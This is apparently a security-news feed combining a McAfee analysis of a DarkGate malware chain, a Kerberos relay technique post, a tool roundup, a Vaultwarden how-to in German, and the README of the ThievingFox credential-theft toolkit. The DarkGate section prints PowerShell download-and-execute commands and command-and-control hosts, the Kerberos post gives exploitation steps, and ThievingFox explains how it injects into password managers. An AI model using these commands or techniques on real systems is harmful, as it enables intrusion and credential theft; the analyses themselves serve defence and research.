Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

The Darkgate Menace: Leveraging Autohotkey & Attempt to Evade Smartscreen

29 April 2024 at 18:09

Authored by Yashvi Shah, Lakshya Mathur and Preksha Saxena

McAfee Labs has recently uncovered a novel infection chain associated with DarkGate malware. This chain commences with an HTML-based entry point and progresses to exploit the AutoHotkey utility in its subsequent stages. DarkGate, a Remote Access Trojan (RAT) developed using Borland Delphi, has been marketed as a Malware-as-a-Service (MaaS) offering on a Russian-language cybercrime forum since at least 2018. This malicious software boasts an array of functionalities, such as process injection, file download and execution, data theft, shell command execution, keylogging capabilities, among others. Following is the spread of DarkGate observed in our telemetry for last three months:

Figure 1: Geo-Distribution of DarkGate

DarkGate’s attempt to bypass Defender Smartscreen

Additionally, DarkGate incorporates numerous evasion tactics to circumvent detection. DarkGate notably circumvented Microsoft Defender SmartScreen, prompting Microsoft to subsequently release a patch to address this vulnerability.

In the previous year, CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) was identified and subsequently patched https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 . CVE-2023-36025 is a vulnerability impacting Microsoft Windows Defender SmartScreen. This flaw arises from the absence of proper checks and corresponding prompts related to Internet Shortcut (.url) files. Cyber adversaries exploit this vulnerability by creating malicious .url files capable of downloading and executing harmful scripts, effectively evading the warning and inspection mechanisms of Windows Defender SmartScreen. This year, same way, CVE-2024-21412 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21412 ) was identified and patched. This vulnerability is about “Internet Shortcut Files Security Feature Bypass Vulnerability”.

Infection Chain

McAfee Labs has identified two distinct initial vectors carrying identical DarkGate shellcode and payload. The first vector originates from an HTML file, while the second begins with an XLS file. We will delve into each chain individually to unveil their respective mechanisms. Below is the detailed infection chain for the same:

Figure 2: Infection Chain

Infection from HTML:

The infection chain initiates with a phishing HTML page masquerading as a Word document. Users are prompted to open the document in “Cloud View” (shown in the figure below), creating a deceptive lure for unwitting individuals to interact with malicious content.

Figure 3: HTML page

Upon clicking “Cloud View,” users are prompted to grant permission to open Windows Explorer, facilitating the subsequent redirection process.

Figure 4: Prompt confirming redirection to Windows Explorer

Upon granting permission and opening Windows Explorer, users encounter a file depicted within the Windows Explorer interface. The window title prominently displays “\\onedrive.live.com,” adding a veneer of legitimacy to the purported “Cloud View” experience.

Figure 5: Share Internet Shortcut via SMB

In our investigation, we sought to trace the origin of the described phishing scheme back to its parent HTML file. Upon inspection, it appears that the highlighted content in the image may be a string encoded in reverse Base64 format. This suspicion arises from the presence of a JavaScript function (shown in the figure below) designed to reverse strings, which suggests an attempt to decode or manipulate encoded data.

Figure 6: Javascript in HTML code

On reversing and base64 decoding the yellow highlighted content in Figure 6, we found:

Figure 7: WebDAV share

The URL utilizes the “search-ms” application protocol to execute a search operation for a file named “Report-26-2024.url”. The “crumb” parameter is employed to confine the search within the context of the malicious WebDAV share, restricting its scope. Additionally, the “DisplayName” element is manipulated to mislead users into believing that the accessed resource is associated with the legitimate “onedrive.live.com” folder, thereby facilitating deception.

Hence, the presence of “onedrive.live.com” in the Windows Explorer window title is a direct consequence of the deceptive manipulation within the URL structure.

The file is an Internet Shortcut (.url) file, containing the following content:

Figure 8: content of .URL file

The .url files serve as straightforward INI configuration files, typically consisting of a “URL=” parameter indicating a specific URL. In our scenario, the URL parameter is defined as follows: URL=file://170.130.55.130/share/a/Report-26-2024.zip/Report-26-2024.vbs.

Upon execution of the .url file, it will initiate the execution of the VBScript file specified in the URL parameter. This process allows for the automatic execution of the VBScript file, potentially enabling the execution of malicious commands or actions on the system.

The vulnerability CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) pertains to Microsoft Windows Defender SmartScreen failing to issue a security prompt prior to executing a .url file from an untrusted source. Attackers exploit this by constructing a Windows shortcut (.url) file that sidesteps the SmartScreen protection prompt. This evasion is achieved by incorporating a script file as a component of the malicious payload delivery mechanism. Although Microsoft has released a patch https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 to address this vulnerability, it remains exploitable in unpatched versions of Windows.

If your system is not patched and updated, you will not see any prompt. However, if your system is updated, you will encounter a prompt like:

Figure 9: SmartScreen prompt

On allowing execution, the vbs file is dropped at C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29. This file will run automatically on execution of url file and we get the following process tree:

Figure 10: Process tree

Following are the command lines:

  • “C:\Windows\System32\WScript.exe” “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”
    • “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘withupdate.com/zuyagaoq’)
      • \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      • “C:\rjtu\AutoHotkey.exe” C:/rjtu/script.ahk
      • “C:\Windows\system32\attrib.exe” +h C:/rjtu/

The sequence of commands begins with the execution of the VBScript file located at “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”. This VBScript subsequently utilizes PowerShell to execute a script obtained from the specified URL (‘withupdate.com/zuyagaoq’) via the Invoke-RestMethod cmdlet. Upon executing the downloaded script, it proceeds to command and execute the AutoHotkey utility, employing a script located at the designated path (C:/rjtu/script.ahk). Subsequently, the final command utilizes the attrib tool to set the hidden attribute (+h) for the specified directory (C:/rjtu/).

Inspecting the URL “withupdate.com/zuyagaoq” explicitly allows for a detailed understanding of the infection flow:

Figure 11: Remote Script on the C2

This URL leads to a script:


Figure 12: Remote Script content
Reformatting, we get:

Figure 13: Remote script content

Explanation of the script:

  • ni ‘C:/rjtu/’ -Type Directory -Force: This command creates a new directory named “rjtu” in the root of the C drive if it doesn’t already exist.
  • cd ‘C:/rjtu/’: This changes the current directory to the newly created “rjtu” directory.
  • Invoke-WebRequest -Uri “http://withupdate.com/oudowibspr” -OutFile ‘C:/rjtu/temp_AutoHotkey.exe’: This command downloads a file from the specified URL and saves it as “temp_AutoHotkey.exe” in the “rjtu” directory.
  • Invoke-WebRequest -Uri “http://withupdate.com/rwlwiwbv” -OutFile ‘C:/rjtu/script.ahk’: This downloads a file named “script.ahk” from another specified URL and saves it in the “rjtu” directory.
  • Invoke-WebRequest -Uri “http://withupdate.com/bisglrkb” -OutFile ‘C:/rjtu/test.txt’: This downloads a file named “test.txt” from yet another specified URL and saves it in the “rjtu” directory.
  • start ‘C:/rjtu/AutoHotkey.exe’ -a ‘C:/rjtu/script.ahk’: This command starts the executable “AutoHotkey.exe” located in the “rjtu” directory and passes “script.ahk” file as an argument.
  • attrib +h ‘C:/rjtu/’: This sets the hidden attribute for the “rjtu” directory.

Checking “C:/rjtu”:

Figure 14: Dropped folder

AutoHotkey is a scripting language that allows users to automate tasks on a Windows computer. It can simulate keystrokes, mouse movements, and manipulate windows and controls. By writing scripts, users can create custom shortcuts, automate repetitive tasks, and enhance productivity.

To execute an AutoHotkey script, it is passed as a parameter to the AutoHotkey executable (autohotkey.exe).

Following is the ahk script file content:

Figure 15: Content of .ahk script

There are a lot of comments added in the script, simplifying the script, we get:

Figure 16: .ahk script after removing junk

This script reads the content of “test.txt” into memory, allocates a memory region in the process’s address space, writes the content of “test.txt” as hexadecimal bytes into that memory region, and finally, it executes the content of that memory region as a function. This script seems to be executing instructions stored in “test.txt”.

Now, it’s confirmed that the shellcode resides within the contents of “test.txt”. This is how the text.txt appears:

Figure 17: Content of test.txt

We analyzed the memory in use for Autohotkey.exe.


Figure 18: Memory of running instance of AutoHotKey.exe
We dumped the memory associated with it and found that it was the same as the content in test.txt.

Figure 19: Memory dump of running AutoHotKey.exe same as test.txt

This is the shellcode present here.  The first 6 bytes are assembly instructions:

Figure 20: Shellcode A in the beginning

Following the jump instructions of 3bf bytes, we reach the same set of instructions again:

Figure 21: Same Shellcode A after jump

This means another jump with be taken for another 3bf bytes:

Figure 22: Same Shellcode A one more time

We have encountered same set of instructions again, taking another jump we reach to:

Figure 23: New Shellcode B found next.

These bytes are again another shellcode and the region highlighted in yellow(in the figure below) is a PE file. The Instruction pointer is not at the PE currently. This shellcode needs to be decoded first.

Figure 24: Shellcode B followed by PE file highlighted

This shellcode suggests adding 71000 to the current offset and instruction pointer will be at the new location. The current offset is B3D, adding 71000 makes it 71B3D. Checking 71B3D, we get:

Figure 25: After debugging found next Shellcode C

This is again now one more set of instructions in shellcode. This is approximately 4KB in size and is appended at the end of the file.

Figure 26: Shellcode C directing to entry point of the PE file

Upon debugging this code, we figured out that in marked “call eax” instruction, eax has the address of the entry point of the final DarkGate payload. Hence this instruction finally moves the Instruction Pointer to the entry point of the PE file. This goes to the same region marked in yellow in Figure 24.

This is the final DarkGate payload which is a Delphi-compiled executable file:

Figure 27: Darkgate payload.

Upon this, we see all the network activity happening to C2 site:

Figure 28: Network Communication

Figure 29: C2 IP address

The exfiltration is done to the IP address 5.252.177.207.

Persistence:

For maintaining persistence, a .lnk file is dropped in startup folder:

Figure 30: Persistence

Content of lnk file:

Figure 31: Content of .lnk used for persistence

The shortcut file (lnk) drops a folder named “hakeede” in the “C:\ProgramData” directory.

Figure 32: Folder dropped in “C:\ProgramData”

Inside this folder, all the same files are present:

Figure 33: Same set of files present in dropped folder

Again, the ahk file is executed with the help of Autohotkey.exe and shellcode present in test.txt is executed. These files have the same SHA256 value, differing only in their assigned names.

Infection from XLS:

The malicious excel file asks the user to click on “Open” to view the content properly.

Figure 34: XLS sample

Upon clicking on “Open” button, user gets the following prompt warning the user before opening the file.

Figure 35: XLS files trying to download and run VBS file

For our analysis, we allowed the activity by clicking on “OK”. Following this we got the process tree as:

Figure 36: Process tree from Excel file

The command lines are:

  • “C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE” “C:\Users\admin\Documents\Cluster\10-apr-xls\1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4.xlsx”
    • “C:\Windows\System32\WScript.exe” “\\45.89.53.187\s\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs”
      • “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘103.124.106.237/wctaehcw’)
        • \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        • “C:\kady\AutoHotkey.exe” C:/kady/script.ahk
        • “C:\Windows\system32\attrib.exe” +h C:/kady/

The file it gets from “103.124.106[.]237/wctaehcw” has the following content:

Figure 37: Remote script simliar to previous chain

From this point onward, the infection process mirrors the previously discussed chain. All three files, including AutoHotKey.exe, a script file, and a text file, are downloaded, with identical artifacts observed throughout the process.

Mitigation:

  • Verify Sender Information
  • Think Before Clicking Links and Warnings
  • Check for Spelling and Grammar Errors
  • Be Cautious with Email Content
  • Verify Unusual Requests
  • Use Email Spam Filters
  • Check for Secure HTTP Connections
  • Delete Suspicious Emails
  • Keep Windows and Security Software Up to date

Indicators of Compromise (IoCs):

File Hash
Html file 196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005
URL file 2b296ffc6d173594bae63d37e2831ba21a59ce385b87503710dc9ca439ed7833
VBS 038db3b838d0cd437fa530c001c9913a1320d1d7ac0fd3b35d974a806735c907
autohotkey.exe 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
AHK script dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455
test.txt 4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795
DarkGate exe 6ed1b68de55791a6534ea96e721ff6a5662f2aefff471929d23638f854a80031
IP 5.252.177.207
XLS file 1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4
VBS 2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f
LNK file 10e362e18c355b9f8db9a0dbbc75cf04649606ef96743c759f03508b514ad34e
IP 103.124.106.237

Table 1: IOC table

The post The Darkgate Menace: Leveraging Autohotkey & Attempt to Evade Smartscreen appeared first on McAfee Blog.

Careers in operational technology: What does a security risk assessor do? | Guest Donovan Tindill

By: Infosec
29 April 2024 at 18:00

Today on Cyber Work, we continue our deep dive into industrial control systems and operational technology security by talking with Donovan Tindill of DeNexus. Now, I’m just going to come out and say it: Tindill's episode is like a cybersecurity career seminar in a box, and a must-not-miss if you’re interested in not just ICS and OT security, but specifically the realm of Risk Assessment. Tindill brought slides and literally lays out his entire career for us to see, including the highs and even some of the lows, and what he learned from them. He explains the fuzzy distinctions between ICS security and the act of determining risk for said systems, gives us a 60 year history of the increasing attack surface and number or risk types associated with operational technology, and gives us tons of great career advice and ways to get started.

0:00 - Careers in operational technology
2:01 - Donovan Tindill's interest in tech
5:30 - Tindill's career roles in cybersecurity
10:42 - The jump to a supervision role
13:19 - Average day for a director of OT cybersecurity
18:39 - Volunteerism with Public Safety Canada
22:57 - Tindill's talk on active directory a decade later
23:43 - Current operational technology challenges
29:26 - New SEC regulations
33:54 - Thoughts on the SEC regulations
35:37 - How to work in OT, ICS or risk assessment
40:34 - Skill gaps for OT, ICS and risk management
42:44 - Tindill's favorite work
45:36 - Best cybersecurity career advice
48:22 - What is DeNexus?
52:22 - Learn more about Tindill and DeNexus
53:22 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

Last Week in Security (LWiS) - 2024-04-29

By: Erik
30 April 2024 at 03:59

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the past week. This post covers 2024-04-22 to 2024-04-29.

News

Techniques and Write-ups

Tools and Exploits

  • GoogleRecaptchaBypass - Solve Google reCAPTCHA in less than 5 seconds! 🚀
  • ASPJinjaObfuscator - Heavily obfuscated ASP web shell generation tool.
  • ja4tscan - JA4TScan is an active TCP server fingerprinting tool.
  • tiny-gpu - A minimal GPU design in Verilog to learn how GPUs work from the ground up.
  • AutoAppDomainHijack - Automated .NET AppDomain hijack payload generation.
  • ReadWriteDriverSample - Sample driver + user component to demonstrate writing into arbitrary process memory from Kernel via CR3 manipulation (opposed to the usual KeStackAttachProcess API).
  • PartyLoader - Threadless shellcode injection tool.
  • 24h2-nt-exploit - Exploit targeting NT kernel in 24H2 Windows Insider Preview.

New to Me and Miscellaneous

This section is for news, techniques, write-ups, tools, and off-topic items that weren't released last week but are new to me. Perhaps you missed them too!

  • ics-forensics-tools - Microsoft ICSpector (ICS Forensics Tools framework) is an open-source forensics framework that enables the analysis of Industrial PLC metadata and project files.
  • Evidence Collection Environment - This environment is intended to be useful for when you have multiple investigators or external parties adding data for evaluation. Some key features (hopefully) implemented in this setup leverage the Azure Storage legal hold, Azure Storage analytics logging for validation of access by which parties, Azure Key Vault logging with the logs going to a Log Analytics workspace in the resource group.
  • DLHell - Local & remote Windows DLL Proxying.
  • MS-DOS - The original sources of MS-DOS 1.25, 2.0, and 4.0 for reference purposes.
  • cdncheck - A utility to detect various technology for a given IP address.
  • CloudInject - This is a simple tool which can be used to inject a DLL into third-party AD connectors to harvest credentials.

Techniques, tools, and exploits linked in this post are not reviewed for quality or safety. Do your own research and testing.

Relaying Kerberos Authentication from DCOM OXID Resolving

By: tiraniddo
30 April 2024 at 01:08

Recently, there's been some good research into further exploiting DCOM authentication that I initially reported to Microsoft almost 10 years ago. By inducing authentication through DCOM it can be relayed to a network service, such as Active Directory Certificate Services (ADCS) to elevated privileges and in some cases get domain administrator access.

The important difference with this new research is taking the abuse of DCOM authentication from local access (in the case of the many Potatoes) to fully remote by abusing security configuration changes or over granting group access. For more information I'd recommend reading the slides from Tianze Ding Blackhat ASIA 2024 presentation, or reading about SilverPotato by Andrea Pierini.

This short blog post is directly based on slide 36 of Tianze Ding presentation where there's a mention on trying to relay Kerberos authentication from the initial OXID resolver request. I've reproduced the slide below:

Slide 36 from the Blackhat Asia presentation, discussing Kerberos relay from the ResolveOxid2 call.
The slides says that you can't relay Kerberos authentication during OXID resolving because you can't control the SPN used for the authentication. It's always set to RPCSS/MachineNameFromStringBinding. While you can control the string bindings in the standard OBJREF structure, RPCSS ignores the security bindings and so you can't specify the SPN unlikely with the an object RPC call which happens later.

This description intrigued me, as I didn't think this was true. You just had to abuse a "feature" I described in my original Kerberos relay blog post. Specifically, that the Kerberos SSPI supports a special format for the SPN which includes marshaled target information. This was something I discovered when trying to see if I could get Kerberos relay from the SMB protocol, the SMB client would call the SecMakeSPNEx2 API, which in turn would call CredMarshalTargetInfo to build a marshaled string which appended to the end of the SPN. If the Kerberos SSPI sees an SPN in this format, it calculates the length of the marshaled data, strips that from the SPN and continues with the new SPN string.

In practice what this means is you can build an SPN of the form CLASS/<SERVER><TARGETINFO> and Kerberos will authenticate using CLASS/<SERVER>. The interesting thing about this behavior is if the <SERVER><TARGETINFO> component is coming from the hostname of the server we're authenticating to then you can end up decoupling the SPN used for the authentication from the hostname that's used to communicate. And that's exactly what we got here, the MachineNameFromStringBinding is coming from an untrusted source, the OBJREF we specified. We can specify a machine name in this special format, this will allow the OXID resolver to talk to our server on hostname <SERVER><TARGETINFO> but authenticate using RPCSS/<SERVER> which can be anything we like.

There are some big caveats with this. Firstly, the machine name must not contain any dots, so it must be an intranet address. This is because it's close to impossible to a build a valid TARGETINFO string which represents a valid fully qualified domain name. In many situations this would rule out using this trick, however as we're dealing with domain authentication scenarios and the default for the Windows DNS server is to allow any user to create arbitrary hosts within the domain's DNS Zone this isn't an issue.

This restriction also limits the maximum size of the hostname to 63 characters due to the DNS protocol. If you pass a completely empty CREDENTIAL_TARGET_INFORMATION structure to the CredMarshalTargetInfo API you get the minimum valid target information string, which is 44 characters long. This only leaves 19 characters for the SERVER component, but again this shouldn't be a big issue. Windows component names are typically limited to 15 characters due to the old NetBIOS protocol, and by default SPNs are registered with these short name forms. Finally in our case while there won't be an explicit RPCSS SPN registered, this is one of the service classes which is automatically mapped to the HOST class which will be registered.

To exploit this you'll need to do the following steps:

  1. Build the machine name by appending the hostname for for the target SPN to the minimum string 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA. For example for the SPN RPCSS/ADCS build the string ADCS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA. 
  2. Register the machine name as a host on the domain's DNS server. Point the record to a server you control on which you can replace the listening service on TCP port 135.
  3. Build an OBJREF with the machine name and induce OXID resolving through your preferred method, such as abusing IStorage activation.
  4. Do something useful with the induced Kerberos authentication.

With this information I did some tests myself, and also Andrea checked with SilverPotato and it seems to work. There are limits of course, the big one is the security bindings are ignored so the OXID resolver uses Negotiate. This means the Kerberos authentication will always be negotiated with at least integrity enabled which makes the authentication useless for most scenarios, although it can be used for the default configuration of ADCS (I think).

Mastering Security: Wie nutze ich Vaultwarden?

By: kugler
30 April 2024 at 06:56

In einem unserer letzten Blogposts haben wir bereits vorgestellt, wie man die Open Source Version des bekannten Passwortmanagers Bitwarden installiert.

In dem heutigen Beitrag erklären wir nun, wie man diesen verwendet.

Die folgenden Begriffe werden dabei häufiger genannt werden:

  • Eintrag: ein gespeicherter Login mit Namen, Passwort und ggf. MFA
  • Ordner: kann von Usern genutzt werden, um ihre privaten Passwörter zu organisieren
  • Sammlung: funktioniert wie ein Ordner, allerdings in einer Organisation
  • Organisation: eine oder mehrere Organisationen innerhalb eines Vaults können genutzt werden, um Rollen und Rechte zu verwalten
  • Vault: der Tresor, in dem alles gespeichert wird. Ganz unabhängig von Organisation, Ordner oder Eintrag

1.1      Erstellung eines neuen Passworts

Wenn wir ein neues Passwort speichern wollen oder ein neues Passwort erstellen lassen wollen, klicken wir in unserem Vault auf „New“ > „Item“

Beginnen Sie damit, Ihre Daten in die vorgesehenen Felder einzutragen. Wenn Sie ein Passwort generieren möchten, klicken Sie einfach auf das „Lade-Symbol“ oben im Passwortfenster (siehe Pfeil 1 auf dem Beispielbild unten).

Wir können zudem einen OTP-Token einfügen, wenn wir diesen für den Login auf unserer Website benötigen.

Wenn wir fertig mit unserem Eintrag sind, können wir auf „Save“ klicken, um diesen zu speichern.

Der Beitrag ist nun in unserem persönlichen Vault.

1.2      Falsches Passwort geändert

Sollten wir einen Eintrag in unserem Vaultwarden ändern, allerdings im Nachhinein feststellen, dass wir den Falschen geändert haben, können wir über eine etwas versteckte Funktion die Passwort Historie sehen können und das alte Passwort wieder einfügen.

Hierfür klicken wir auf unseren Eintrag und scrollen etwas herunter, bis wir bei den Eintragsinformationen sind:

Wenn wir hier nun auf die kleine 1 neben „Password history“ klicken, sehen wir die vergangenen Passwortänderungen und können so unser altes Passwort wiederherstellen.

1.3      Erstellung eines Ordners

Um nun die Übersicht über unsere Passwörter nicht zu verlieren, können wir Ordner anlegen. Hierfür klicken wir wieder auf New > Folder.

Hier können wir unserem Ordner nun einen Namen geben.

Und wie zuvor auf Save klicken.

Wenn wir unseren Eintrag, den wir zuvor erstellt haben, in den Ordner verschieben wollen, öffnen wir diesen erneut und klicken auf „Folder“ und wählen in dem Dropdown-Menü „Meine Website“.

1.4      Erstellung einer Organisation

Szenario: In der Firma „MusterFirma“ gibt es eine Abteilung, die für die Bestellung von Büromaterial zuständig ist und einen einzigen Account für Bestellungen verwendet. Die Passwortverwaltung erfolgt über eine Excel-Tabelle, auf die alle Mitarbeiter dieser Abteilung Zugriff haben. Nun beabsichtigt Person A, diese Tabelle an Person B zu senden, hat sich jedoch vertan, und nun hat Person C aus einer anderen Abteilung Zugriff auf diese Zugangsdaten.

Für ein solches Szenario gibt es Organisationen in Bitwarden. Mit dieser Funktion können Administratoren festlegen, welche Personen Zugriff auf die Passwörter einer Abteilung haben, um sicherzustellen, dass Zugangsdaten nicht mehr über Teams-Nachrichten oder Excel-Tabellen geteilt werden müssen.

Eine Organisation erstellt man nun wie folgt:

Wir klicken in unserer Übersicht auf der rechten Seite auf „New organization

Unter dem Namen können wir nun den Namen unserer Firma oder der Abteilung eintragen. Unter „Email“ fügen wir die E-Mail-Adresse unseres Accounts ein.

Nun klicken wir auf „Submit“, um unsere Organisation zu erstellen.
Hier können wir nun unseren Zugang für z.B. die Materialbeschaffung speichern.

1.5      Zugang zur Organisation

Wenn wir nun unsere Kollegen zu der Organisation hinzufügen wollen, geht das wie folgt:

Wir klicken wie auf dem Bild gezeigt auf „Organizations

Hier sehen wir den Punkt „Members

Hierrüber können wir nun über „+ Invite member“ unsere Kollegen hinzufügen und einstellen, welche Berechtigungen sie haben dürfen.

Nun müssen wir noch den eingeladenen Nutzer auswählen und bestätigen:

1.6      Sammlung innerhalb einer Organisation

Wenn wir eine neue Sammlung innerhalb einer Organisation erstellen wollen, können wir das wie folgt machen:

Wir klicken auf unsere „Organisation“ und auf „New“, hier wählen wir nun „Collection“

Diese Kollektion können wir nun benennen, z.B. „Papier Beschaffungs-Accounts“

Unter Access können wir die Mitarbeiter zu den Zugangsdaten berechtigen, welche sie brauchen.

Wichtig anzumerken ist, dass nur der Ersteller der Organisation eine neue Collection erstellen kann.

1.7      Enforce MFA

Um den Login zu den Passwörtern sicherer zu machen, können wir MFA (Multi Faktor Authentication) verpflichtend einführen. Hierfür müssen wir in dem Account, in dem wir die Organisation verwalten, auf „Organizations“ klicken und anschließend zu „Settings“>“Policies“>“Require two-step login“ navigieren.

Hier klicken wir nun „Turn on“ und anschließend „Save“

1.7.1    Aktivierung MFA

Wenn Nutzer nun diese Organisation nutzen wollen, müssen sie MFA bei sich aktiviert haben. Hierfür müssen Sie zunächst auf den Haken neben Ihrem Account-Icon klicken.

Dann in Ihre Account Einstellungen:

Hier dann zu „Security“>“Two-step login“>“Authenticator app“

Nun geben wir unser Account-Passwort ein und klicken auf „Continue“

Hier müssen wir jetzt mit einer Authenticator-App unserer Wahl den QR-Code abscannen und den daraus generierten OTP-Token eingeben.

Nun kann der Mitarbeiter die Organisation wieder nutzen, welche zuvor MFA eingeführt hat.

1.8      Registrierung nur für Interne

Als Administrator können wir einstellen, dass sich keine Dritten registrieren dürfen.
Hierfür müssen wir im Admin-Panel das folgende einstellen:

Wir klicken zunächst auf „Settings“ und anschließend auf den Unterpunkt „General settings“

Hier entfernen wir dann bei dem Punkt „Allow new signups“ das „Häkchen“

1.8.1    Nutzer einladen

Da wir das selbst Registrieren deaktiviert haben, müssen wir nun Nutzer händisch einladen. Das funktioniert im Admin-Panel unter „Users“ und „Invite User“

Wenn wir hier nun Nutzer einladen, können sich diese registrieren.

1.9      Automatisches Ausfüllen auf Website

Wenn wir auf einer Website mit einem Login sind, den wir uns schon zuvor als Eintrag angelegt haben, können wir den Login automatisch ausfüllen lassen.

Wenn wir in das Login Fenster bei z.B. LinkedIn klicken und dann auf unsere Browser Extension, müssen wir nur auf den entsprechenden Eintrag klicken, um ihn automatisch ausfüllen zu lassen:

1.10       Übermittlung von Dateien

Eine weitere, sehr nützliche Funktion von Vaultwarden ist, dass wir Dateien bis zu einer Größe von 500MB teilen können.

Hierfür klicken wir in unserer Übersicht auf „Send“ > „+ New Send“

Hier können wir dem Upload einen Namen geben und eine Datei zum Teilen wählen.

Unter „Options“ haben wir noch weitere Einstellungsoptionen, wie z.B., dass nach einer gewissen Zeit der Link zur teilenden Datei abläuft.

Über „Copy Send link“ können wir diese Datei nun mit z.B. Kollegen teilen.

1.11       Fazit

Wir hoffen, diese Anleitung hilft Ihnen weiter. Für weitere Informationen wie z.B. Nutzerverwaltung empfehlen wir die offizielle Seite von Bitwarden, da die Anleitungen gut verständlich sind und die Einstellungen, die hier vorgenommen werden können, auch auf unseren Vaultwarden übertragbar sind.

Der Beitrag Mastering Security: Wie nutze ich Vaultwarden? erschien zuerst auf HanseSecure GmbH.

Horizon3.ai Unveils Rapid Response Service for Cyber Resilience

30 April 2024 at 10:03

Business Wire 03/25/2024

Horizon3.ai, a pioneer in autonomous security solutions, today announced the launch of its Rapid Response service, now part of the NodeZero™ platform. This one-of-a-kind capability marks a significant advancement in autonomous penetration testing solutions by addressing a critical gap in measuring the real-world impact of exploitable vulnerabilities within the software many organizations…

Read the entire article here

The post Horizon3.ai Unveils Rapid Response Service for Cyber Resilience appeared first on Horizon3.ai.

ThievingFox - Remotely Retrieving Credentials From Password Managers And Windows Utilities

By: Zion3R
30 April 2024 at 12:30


ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.

The accompanying blog post can be found here


Installation

Linux

Rustup must be installed, follow the instructions available here : https://rustup.rs/

The mingw-w64 package must be installed. On Debian, this can be done using :

apt install mingw-w64

Both x86 and x86_64 windows targets must be installed for Rust:

rustup target add x86_64-pc-windows-gnu
rustup target add i686-pc-windows-gnu

Mono and Nuget must also be installed, instructions are available here : https://www.mono-project.com/download/stable/#download-lin

After adding Mono repositories, Nuget can be installed using apt :

apt install nuget

Finally, python dependancies must be installed :

pip install -r client/requirements.txt

ThievingFox works with python >= 3.11.

Windows

Rustup must be installed, follow the instructions available here : https://rustup.rs/

Both x86 and x86_64 windows targets must be installed for Rust:

rustup target add x86_64-pc-windows-msvc
rustup target add i686-pc-windows-msvc

.NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"

Finally, python dependancies must be installed :

pip install -r client/requirements.txt

ThievingFox works with python >= 3.11

NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)

Targets

All modules have been tested on the following Windows versions :

Windows Version
Windows Server 2022
Windows Server 2019
Windows Server 2016
Windows Server 2012R2
Windows 10
Windows 11

[!CAUTION] Modules have not been tested on other version, and are expected to not work.

Application Injection Method
KeePass.exe AppDomainManager Injection
KeePassXC.exe DLL Proxying
LogonUI.exe (Windows Login Screen) COM Hijacking
consent.exe (Windows UAC Popup) COM Hijacking
mstsc.exe (Windows default RDP client) COM Hijacking
RDCMan.exe (Sysinternals' RDP client) COM Hijacking
MobaXTerm.exe (3rd party RDP client) COM Hijacking

Usage

[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the cleanup module on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.

ThievingFox contains 3 main modules : poison, cleanup and collect.

Poison

For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.

To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.

--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).

--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.

The KeePass modules requires the Visual C++ Redistributable to be installed on the target.

Multiple applications can be specified at once, or, the --all flag can be used to target all applications.

[!IMPORTANT] Remember to clean the cache if you ever change the --tempdir parameter, since the directory name is embedded inside native DLLs.

$ python3 client/ThievingFox.py poison -h
